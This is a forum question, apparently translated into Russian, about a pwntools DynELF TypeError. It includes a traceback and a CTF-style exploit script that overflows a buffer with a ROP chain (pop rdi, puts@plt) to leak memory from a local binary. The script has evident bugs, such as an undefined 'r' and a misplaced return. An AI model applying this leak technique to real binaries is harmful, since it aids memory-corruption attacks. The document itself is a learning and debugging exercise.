Python pwntools DynELF: строковый аргумент без кодировки - PullRequest
0 голосов
/ 06 февраля 2020

Я пытался использовать модуль DynELF. Но эта ошибка выскочила.

Информация об ошибке:

Traceback (most recent call last):
  File "solve.py", line 30, in <module>
    d = DynELF(leak,0x400550, elf = ELF('./pwn'))
  File "/home/soinux/.local/lib/python3.7/site-packages/pwnlib/dynelf.py", line 182, in __init__
    self.libbase = self._find_base(pointer or elf.address)
  File "/home/soinux/.local/lib/python3.7/site-packages/pwnlib/dynelf.py", line 295, in _find_base
    if self.leak.compare(ptr, '\x7fELF'):
  File "/home/soinux/.local/lib/python3.7/site-packages/pwnlib/memleak.py", line 546, in compare
    for i, byte in enumerate(bytearray(bts)):
TypeError: string argument without an encoding

Я использую это так:

  from pwn import *

  e = ELF('./pwn')
  sh = process('./pwn')
  pop_rdi = 0x400763
  puts_plt = e.plt['puts']
  start = 0x400550
  def leak(address):
      payload = b'a' * 0x48
      payload += p64(pop_rdi) + p64(address)
      payload += p64(puts_plt)
      payload += p64(start)
      payload.ljust(200)
      sh.send(payload)
      r.recvuntil(b"bye~\n")

      pre_rv = b''
      data = b''
      while True:
          rv = sh.recv(numb=1, timeout=0.1)
          if pre_rv == b'\n' and rv == b'':
                  data = data[:-1]
                  data += b'\x00'
                  break
          else:
              data += rv
              pre_rv = rv
          return data
  d = DynELF(leak,elf = ELF('./pwn'))

Не работает ли моя функция утечки? Или в этом модуле есть небольшая ошибка? (Я уверен, что я использую последнюю версию pwntools.)

...